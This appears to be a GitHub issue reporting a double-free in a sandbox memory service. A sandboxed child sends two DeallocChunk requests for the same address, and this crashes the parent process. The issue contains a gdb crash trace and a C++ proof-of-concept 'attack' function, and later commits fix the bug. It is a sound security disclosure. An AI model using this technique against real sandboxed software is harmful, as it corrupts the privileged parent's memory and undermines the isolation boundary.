Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

security issue in DeallocChunk- double free #575

Closed
saaramar opened this issue Apr 24, 2022 · 0 comments · Fixed by #579
Closed

security issue in DeallocChunk- double free #575

saaramar opened this issue Apr 24, 2022 · 0 comments · Fixed by #579

Comments

@saaramar
Copy link

The sandbox can send two RPC requests to the parent, both of DeallocChunk type, with the same address. This triggers a segfault in the parent. The segfault happens in both debug and release builds (i.e. - there is no assert in debug builds I'm taking advantage here).

Segfault:

root@754435a48673:/verona/experiments/process_sandbox/build-ninja# ./tests/test-sandbox-rpc-double-free

../tests/sandboxlib-rpc-double-free.cc:30 in sendRequest: Read 0 bytes, expected 16

Segmentation fault
root@754435a48673:/verona/experiments/process_sandbox/build-ninja#

Callstack, originates from sandbox::MemoryServiceProvider::run():

Temporary breakpoint 1, 0x000000000040d790 in main ()
(gdb) c
Continuing.
[New Thread 0x7f30ad835700 (LWP 2307)]
[Detaching after vfork from child process 2308]

Thread 2 "test-sandbox-rp" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7f30ad835700 (LWP 2307)]
0x00007f30addfd5b2 in snmalloc::RBTree<snmalloc::BuddyChunkRep<sandbox::SharedAllocConfig::Pagemap>, false, false>::insert_path(snmalloc::RBTree<snmalloc::BuddyChunkRep<sandbox::SharedAllocConfig::Pagemap>, false, false>::RBPath&, unsigned long) () from /verona/experiments/process_sandbox/build-ninja/libsandbox.so
(gdb) bt
#0  0x00007f30addfd5b2 in snmalloc::RBTree<snmalloc::BuddyChunkRep<sandbox::SharedAllocConfig::Pagemap>, false, false>::insert_path(snmalloc::RBTree<snmalloc::BuddyChunkRep<sandbox::SharedAllocConfig::Pagemap>, false, false>::RBPath&, unsigned long) () from /verona/experiments/process_sandbox/build-ninja/libsandbox.so
#1  0x00007f30addfbb20 in snmalloc::Buddy<snmalloc::BuddyChunkRep<sandbox::SharedAllocConfig::Pagemap>, 14ul, 63ul>::add_block(unsigned long, unsigned long) ()
   from /verona/experiments/process_sandbox/build-ninja/libsandbox.so
#2  0x00007f30addfb7ca in sandbox::SharedAllocConfig::dealloc_range(sandbox::SharedAllocConfig::LocalState&, snmalloc::CapPtr<void, snmalloc::capptr::bound<(snmalloc::capptr::dimension::Spatial)1, (snmalloc::capptr::dimension::AddressSpaceControl)1, (snmalloc::capptr::dimension::Wildness)1> >, unsigned long) () from /verona/experiments/process_sandbox/build-ninja/libsandbox.so
#3  0x00007f30addfb3b0 in sandbox::MemoryServiceProvider::run() () from /verona/experiments/process_sandbox/build-ninja/libsandbox.so
#4  0x00007f30adc6dde4 in ?? () from /lib/x86_64-linux-gnu/libstdc++.so.6
#5  0x00007f30add89609 in start_thread (arg=<optimized out>) at pthread_create.c:477
#6  0x00007f30ad95a163 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
(gdb) x/2i $pc
=> 0x7f30addfd5b2 <_ZN8snmalloc6RBTreeINS_13BuddyChunkRepIN7sandbox17SharedAllocConfig7PagemapEEELb0ELb0EE11insert_pathERNS6_6RBPathEm+1506>:   mov    %rdx,(%rbx)
   0x7f30addfd5b5 <_ZN8snmalloc6RBTreeINS_13BuddyChunkRepIN7sandbox17SharedAllocConfig7PagemapEEELb0ELb0EE11insert_pathERNS6_6RBPathEm+1509>:   mov    0x5279c(%rip),%rdx        # 0x7f30ade4fd58
(gdb) i r rbx
rbx            0x7f30ade433f0      139847052571632
(gdb) x/4gx $rbx
0x7f30ade433f0 <_ZZN8snmalloc13BuddyChunkRepIN7sandbox17SharedAllocConfig7PagemapEE3refEbmE10null_entry>:       0x0000000000000000      0x6f62646e6173374e
0x7f30ade43400 <_ZTSN7sandbox19CallbackHandlerBaseE+8>: 0x626c6c6143393178      0x6c646e61486b6361
(gdb)

My POC:

bool attack(const void* base, const void* top)
{
  snmalloc::UNUSED(top);
  int error = 0;
  auto* header =
    static_cast<sandbox::SharedMemoryRegion*>(const_cast<void*>(base));
  uintptr_t ras =
    snmalloc::FrontendMetaEntry<snmalloc::FrontendSlabMetadata>::encode(
                    &header->allocator_state,
                    snmalloc::sizeclass_t::from_small_class(
                            snmalloc::size_to_sizeclass_const(snmalloc::MIN_CHUNK_SIZE)));
  snmalloc::UNUSED(ras);
  HostServiceResponse resp;

  uintptr_t allocs[ALLOCS_CNT] = { 0 };
  for (size_t i = 0; i < ALLOCS_CNT; ++i) {
    resp = sendRequest({AllocChunk, {snmalloc::MIN_CHUNK_SIZE, 0, 0}});
    if (resp.error != 0) {
      printf("failed, error == %lu\n", resp.error);
      return true;
    }
    allocs[i] = resp.ret;
  }

  long long *p = reinterpret_cast<long long*>(allocs[0]);

  error = try_dealloc(reinterpret_cast<const char*>(p), snmalloc::MIN_CHUNK_SIZE);
  // parent segfault here before sending a valid resp.
  error = try_dealloc(reinterpret_cast<const char*>(p), snmalloc::MIN_CHUNK_SIZE);

  return false;
}

extern "C" void sandbox_init()
{
  sandbox::ExportedLibrary::export_function(::attack);
}

@davidchisnall

davidchisnall added a commit that referenced this issue Apr 26, 2022
davidchisnall added a commit that referenced this issue Apr 28, 2022
Fixes #574
Fixes #575
Fixes #576

Also set timeout on tests.
They all currently complete in <1s, so a 30s timeout is plenty.
davidchisnall added a commit that referenced this issue Apr 29, 2022
Fixes #574
Fixes #575
Fixes #576

Also set timeout on tests.
They all currently complete in <1s, so a 30s timeout is plenty.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.

1 participant